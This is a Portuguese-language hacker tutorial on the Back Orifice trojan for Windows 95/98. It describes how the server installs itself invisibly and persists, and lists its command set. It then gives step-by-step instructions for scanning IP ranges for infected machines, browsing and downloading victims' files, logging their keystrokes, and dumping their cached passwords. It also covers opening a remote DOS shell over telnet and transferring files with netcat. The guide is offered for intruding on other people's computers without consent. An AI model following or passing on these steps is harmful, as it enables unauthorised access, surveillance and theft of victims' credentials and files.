O que é o Back Orifice ?
O Back Orifice ou simplesmente BO, é um aplicativo cliente/servidor apenas para Windows 95 e 98, que permite ao cliente monitorar e administrar a máquina como servidor. Pode ser considerado como um Cavalo de Tróia.
Quem criou o Back Orifice ?
O criador do Back Orifice, é um grupo Hacker chamado
Cult of Dead Cow ou
Culto da Vaca Morta.
Como funciona ?
Assim como um browser se liga a um servidor da Internet para a visualização de uma home page, compreendendo uma máquina cliente e outra servidora. Assim é o Back Orifice, que se utiliza dos mesmos processos. A máquina que está como versão cliente pode ligar-se com uma máquina que está como versão servidora.
Quem são os servidores e quem são os clientes ?
Na grande maioria dos casos a versão servidora funciona numa máquina devido a simples descuido, pois acredito que ninguém gostaria de disponibilizar os seus arquivos pessoais para algumas milhares de pessoas no mundo. Como o programa BO vem compactado, contendo além de alguns utilitários, as versões cliente e servidor. O utilizador pode executar a versão errada (servidor), simplesmente por não ter lido ou entendido as instruções. Mas lembro que quem está funcionar com o servidor do Back Orifice, pelo menos tentou utilizar a versão cliente para talvez se divertir com a máquina dos outros. E acabou tornando-se a si próprio o brinquedo dos outros.
E para isso, basta um simples clique no rato. E o servidor instala-se na vossa máquina sem nada lhes mostrar e em seguida apaga-se passando a funcionar como um serviço do Windows. E de cada vez que ligarem o vosso PC, o servidor inicia-se sem que ninguém se perceba e fica a funcionar em segundo plano não deixando nenhum rastro.
O servidor do Back Orifice pode vir encoberto por um outro arquivo qualquer, e ao ser executado instala-se na vossa máquina sem nenhum sinal. E uma vez iniciado torna-se numa forma difícil a sua detecção. Permite assim ao administrador remoto tomar o controle de vosso sistema: roubar senhas, enviar ou receber arquivos, funcionar com novas aplicações, observar e derrubar qualquer aplicação que vocês estejam a utilizar, etc,... e sem o vosso conhecimento ou consentimento.
Especificações:
O pacote
bo.zip contém:
bo.txt - este documento.
plugin.txt - a ajuda para programação de plugin.
boserve.exe - o auto-instalador do Back Orifice (BO).
bogui.exe - o cliente modo gráfico (GUI) do Back Orifice.
boclient.exe - o cliente modo texto do Back Orifice.
boconfig.exe - utilitário de configuração de nome do executável, porta, senha e plugins do servidor BO.
melt.exe - descompacta arquivos compactados com o comando "freeze".
freeze.exe - compacta arquivos que podem ser descompactados com o comando "melt".
Comandos:
Abordaremos a versão Bogui.exe (modo gráfico), por ser de melhor manusiamento. Mas os comandos possuem a mesma sintaxe entre as duas gráfica e texto.
Gui/texto:
App add/appadd - abre e redireciona um aplicativo modo texto para uma porta tcp. Isso permite que você controle o aplicativo modo texto ou modo dos (como command.com) via telnet.
App del/appdel - desliga o redireccionamento de um aplicativo.
Apps list/applist - lista os aplicativos actualmente ligados.
Directory create/md - cria um directório.
Directory list/dir - lista arquivos e directórios. Devem de especificar um curinga caso queira que mais de um arquivo seja listado.
Directory remove/rd - remove um directório.
Export add/shareadd - compartilhar um directório ou drive do servidor em rede. O ícone directório ou drive compartilhado não é alterado.
Export delete/sharedel - remove um compartilhamento.
Exports list/sharelist - lista os compartilhamentos, o drive ou directório que está a ser compartilhado, os acessos e a senha do compartilhamento.
File copy/copy - copia um arquivo.
File delete/del - remove um arquivo.
File find/find - procura no directório arquivos que coincidam com a especificação.
File freeze/freeze - compacta um arquivo.
File melt/melt - descompacta um arquivo.
File view/view - visualiza o conteúdo de um documento texto.
HTTP Disable/httpoff - desabilita o servidor http.
HTTP Enable/httpon - habilita o servidor http.
Keylog begin/keylog - registra o texto digitado no servidor em um arquivo texto. O log mostra o nome da janela em que o texto foi digitado.
Keylog end - interrompe o registro de texto digitado. Para utilizar este comando no modo texto, usem o comando "keylog stop".
MM Capture avi/capavi - captura vídeo e áudio (se disponível) de um dispositivo de captura de vídeo para um arquivo avi.
MM Capture frame/capframe - captura um quadro de vídeo de um dispositivo de captura de vídeo para um arquivo bitmap.
MM Capture screen/capscreen - captura uma imagem da tela do servidor para um arquivo bitmap.
MM List capture devices/listcaps - lista os dispositivos de captura de vídeo.
MM Play sound/sound - toca um arquivo wav no servidor.
Net connections/netlist - lista as ligações de entrada e saída da rede.
Net delete/netdisconnect - desliga o servidor de uma rede.
Net use/netconnect - liga o servidor numa rede.
Net view/netview - lista todas as interfaces de rede, domínios, servidores e envios do servidor.
Ping host/ping - testa a ligação com a máquina remota. Informa o nome da máquina e a versão do BO.
Plugin execute/pluginexec - executa um plugin do Back Orifice. Executar funções não entendidas pelo plugin pode fazer com que o servidor trave.
Plugin kill/pluginkill - desliga um plugin.
Plugins list/pluginlist - lista plugins activos ou avisa de que um plugin foi desligado.
Process kill/prockill - termina um processo.
Process list/proclist - lista processos a funcionar.
Process spawn/procspawn - abre um programa. Pelo GUI, se o segundo parâmetro é especificado, o processo será executado normalmente e visível. Caso contrário ele será exeutado de maneira invisível.
Redir add/rediradd - redireciona recebimento de ligações tcp ou pacotes udp para outro endereço ip.
Redir del/redirdel - interrompe o redireccionamento de uma porta.
Redir list/redirlist - lista os redireccionamentos de portas activas.
Reg create key/regmakekey - cria uma chave no registro. NOTA: Para todos os comandos de registro, não especificar a \\inicial de valores de registro.
Reg delete key/regdelkey - remove uma chave no registro.
Reg delete value/regdelval - remove um valor no registro.
Reg list keys/reglistkeys - lista as sub-chaves de uma chave de registro.
Reg list values/reglistvals - lista os valores de uma chave de registro.
Reg set value/regsetval - define um valor para uma chave de registro. Os valores são especificados no formato tipo vírgula valor. Para valores binários (tipo B) o valor é um série de dois dígitos hexadecimais. Para valores DWORD (tipo D) o valor é um número decimal. Para valores string (tipo S) o valor é uma string de texto.
Resolve host/resolve - determina o endereço ip de uma máquina em relação à máquina servidor. O nome da máquina pode ser um "host name" ou o nome de uma máquina em rede local.
System dialogbox/dialog - cria uma caixa de diálogo no servidor com o texto informado e um botão "ok". Podem criar quantas caixas de diálogo quiserem, elas aparecerão em cascata umas sobre as outras.
System info/info - exibe as informações do sistema da máquina servidor. Os dados exibidos incluem nome da máquina, utilizador, tipo de cpu, memória total e disponível, dados sobre a versão de Windows e informações sobre os drives, incluindo tipo (fixo, cd-rom, removível ou remoto) e, nos drives fixos, o tamanho e espaço disponível do drive.
System lockup/lockup - bloqueia a máquina servidor.
System passwords/passes - exibe as senhas cacheadas e a senha do protector de ecran. As senhas podem apresentar caracteres estranhos no fim.
System reboot/reboot - desliga o servidor e reinicia a máquina.
TCP file receive/tcprecv - liga o servidor num ip e porta específicos e grava qualquer dado recebido por aquela ligação num arquivo.
TCP file send/tcpsend - liga o servidor num ip e porta específicos, envia o conteúdo do arquivo especificado e o desliga. Arquivos podem ser transferidos _do_ servidor usando o comando "tcp file send" e o utilitário netcat com os parâmetros: netcat -l -p 666 > arquivo Arquivos podem ser transferidos _para_ o servidor usando-se o comando "tcp file receive" e o utilitário netcat com os parâmetros: netcat -l -p 666< ou ctrl+c com netcat o finalize término.
BOConfig: BOconfig.exe permite configurar as opções de um boserve.exe antes que ele seja instalado. Ele requisitará: Runtime executable name O nome do arquivo que o Back Orifice instalar-se-á no directório system do Windows. O nome não precisa tem a extensão exe, ela será automaticamente adicionada. Exe description in registry A descrição do executável do Back Orifice no registro do Windows, de onde será executado sempre que o Windows se iniciar. Server port A porta em que o servidor será acedido. Encryption password A senha de acesso ao servidor. Não é obrigatória e pode ser deixada em branco. Default plugin to run on startup O plugin do Back Orifice a ser executado ao iniciar. File to attach Arquivo a ser anexado ao boserve.exe. Pode ser um plugin, que será automaticamente iniciado com o boserve.exe. NOTA: Se o servidor não for configurado com o BOconfig.exe, ele comunicará na porta 31337 sem senha, e instalar-se-á como " .exe".
Manual:
Como encontrar uma máquina a funcionar com o servidor do Back Orifice ?
Podem fazê-lo de duas formas. A primeira é digitando o endereço de uma sub-rede na pequena caixa no canto superior esquerdo. Ex. 195.219.222.* e pressionando "ENTER". Isto fará com que o Back Orifice procure por todos os endereços IP do 195.219.222.0 até o 195.219.222.255.
Vocês podem também abrir o NOTEPAD e criar uma lista de sub-redes (uma por linha), salvá-la no mesmo directório do Bogui.exe em seguida pressionar o botão PING no canto inferior esquerdo da janela.
Agora digitem o nome do arquivo que criaram na caixa de texto que surgirá.
O Back Orifice irá então, buscar todas as sub-redes do arquivo.
Como saberei que o Back Orifice encontrou uma máquina rodando o servidor ?
Quando o Back Orifice detectar uma máquina a funcionar com o servidor, vai mostrar uma mensagem como esta:
------------ Packet received from host 195.130.131.69 port 31337 -------------!PONG!1.20!DEFAULT! __________________________________________________ ------------------------ End of Data -----------------------
Que significa: "Pacote recebido do host (endereço IP dp servidor) 195.130.131.69 porta 31337". "PONG, significa a resposta ao seu comando PING. O número 1.20 indica a versão do servidor Back Orifice e o nome DEFAULT, é o nome do computador-servidor".
Digitem o endereço IP completo, encontrado na mesma caixa de texto superior esquerda para começar a executar os comandos. (Uma boa forma de encontrar endereços IP`s é no mIRC, através do comando /whois "nick")
Como posso ver e descarregar os arquivos do winchester do servidor ?
Nada mais fácil! Apenas seleccionem o comando "HTTP Enable" na janela do Bogui, digite "80" (ou outro número) na caixa de texto "port" e "c:" (ou outra letra do drive) na caixa "root". Então, pressionar o botão "send".
Vocês deveram ver uma mensagem como esta:
** 15:HTTP Enable packet sent (25 bytes) val1: '80' val2: 'c:'_______________ ----------- Packet received from host 195.1130.131.69 port 31337 --------------HTTP server listening on portt 80_____________________________________ ------------------------- End of Data ------------------------
Agora simplesmente, abram um Browser (Netscape Navigator funciona melhor neste caso, mas o Internet Explorer também se sairá bem). No campo de endereço, digite "http://endereçodeip". No caso acima, seria "http://195.130.131.69".
Se utilizaram um número diferente de "80" para a porta, então adicionem-no ao endereço de IP. Ex. "http://195.130.131.69:3000".
Pronto! Agora já podem visualizar o conteúdo do drive C:\ do servidor na janela de vosso browser. Clicando num directório, e seram transferidos para ele. Clicando nos arquivos, vocês os deacarregaram.
OBS: O ideal é digitar os nomes de arquivo ou directórios que se quer aceder ou descarregar no campo do endereço. E também é necessário respeitar os 8 caracteres para nomes de arquivos ou directórios. Por exemplo: Se você desejarem aceder ao directório "C:\WINDOWS\MEUS DOCUMENTOS". Devem digitar no campo de endereço: "http://195.131.131.69/windows/meusdo~1". É a mesma regra do DOS.
Como posso enviar arquivos para o servidor ?
Sigma o mesmo procedimento acima. Quando o conteúdo do drive especificado aparecer em vosso browser, vão até a parte inferior. Comseguem aceder a dois botões e uma caixa de texto. No botão "browser" ou "procurar", vão especificar que arquivo da vossa máquina querem enviar. Após seleccioná-lo cliquem em upload para enviá-lo.
OBS: Em nem todos os casos este procedimento funciona. Pode-se utilizar também o utilitário NETCAT para o envio de arquivos, através do comando.
para enviar: "nc -l -p 666 < nomedoarquivo"
para receber: "nc -l -p 666 > nomedoarquivo"
* O número 666 representa a porta, podendo ser mudado.
Veja o que o utilizador do servidor está escrevendo.
Para realizar esta função, precisam seleccionar o comando "Keylog begin" na janela do Back Orifice. Na caixa de texto "filename", digitem o nome de um arquivo que desejam armazenar os registros. Podem escolher qualquer nome, mas é recomendável que se utilizem uma extensão .txt (texto), pelo facto deste tipo de arquivo pode ser facilmente visualizado pelo vosso browser. No exemplo abaixo, o arquivo foi chamado de "system.txt".
** 17:Keylog begin packet sent (29 bytes) val1: 'system.txt' val2: 'c:'__________ ---------- Packet received from host 195.1330.131.69 port 31337 --------------- Logging keys
__________________________________________________ ------------------------- End of Data --------------------
Após isto, execute o comando "File find" com o nome do arquivo em uma caixa de texto e "c:" noutra. Isto resultará em algo como:
** 32:File find packet sent (31 bytes) val1: 'system.txt' val2: 'c:'______________ ---------- Packet received from host 194.1119.236.190 port 31337 ------------- Searching for file 'system.txt from root 'c:':______________________________ SYSTEM.TXT 49 -A----- 08-23-98 23:17 c:\Program Files\ICQ\system.txt __ End of search __________________________________________________ --------------------------- End of Data --------------------------
Isto lhe dará uma lista de todos os locais onde existirem arquivos de "system.txt". Abra uma janela do seu browser e abra o arquivo que você verá tudo o que o usuário do servidor esteve digitando.
OBS: Talvez o arquivo só apareça quando a gravação dos registros for interrompida. Neste caso, clique no comando "Keylog end" na janela do seu Back Orifice.
Veja as senhas do utilizador armazenadas no servidor.
Talvez esta seja a mais simples das funções. Apenas clique no comando "System passwords" e pronto, as senhas aparecerão para vocês!
Como abrir um prompt do DOS na máquina servidora.
Para fazê-lo, precisam seleccionar o primeiro comando da lista na janela do Back Orifice, "App add". Na primeira caixa de texto digitem "command.com" e na segunda caixa de texto digite, "23".
Agora, precisam de abrir uma sessão do TELNET na vossa máquina. Pressionem o botão INICIAR do vosso computador e em seguida, cliquem em EXECUTAR. Digitar TELNET e o programa irá iniciar.
Clique no menu "Connect" e escolham o primeiro item "Remote system". Uma pequena janela irá surgir, com três caixas.
Apenas digitem o endereço IP da máquina servidora no campo "Host Name". Então pressionem o botão "Connect". Após alguns segundos, o prompt do DOS irá aparecer na janela do TELNET. Podem agora usar os comandos do DOS no servidor. (dir, cd, copy,...)
Mandem uma mensagens na tela do servidor.
Seleccionem o comando "System Dialogbox". Na caixa de texto "title", digitem o título que você deseja que apareça na caixa de diálogo. Na caixa de texto "text", digite o texto da mensagem. Então pressionem o botão "send" e devem de ver uma confirmação do envio da mensagem.
Capturem a ecran do utilizador num arquivo .BMP.
Podem salvar num arquivo ecran capturado da máquina servidora. Seleccionem o comando "MM capture screen". Na caixa de texto a esquerda, digitem o nome de um arquivo qualquer com extensão .BMP e então clique no botão "send". devem de receber uma confirmação do comando, então o arquivo .BMP estará na máquina servidora podendo ser descarregado.
H4CK3R
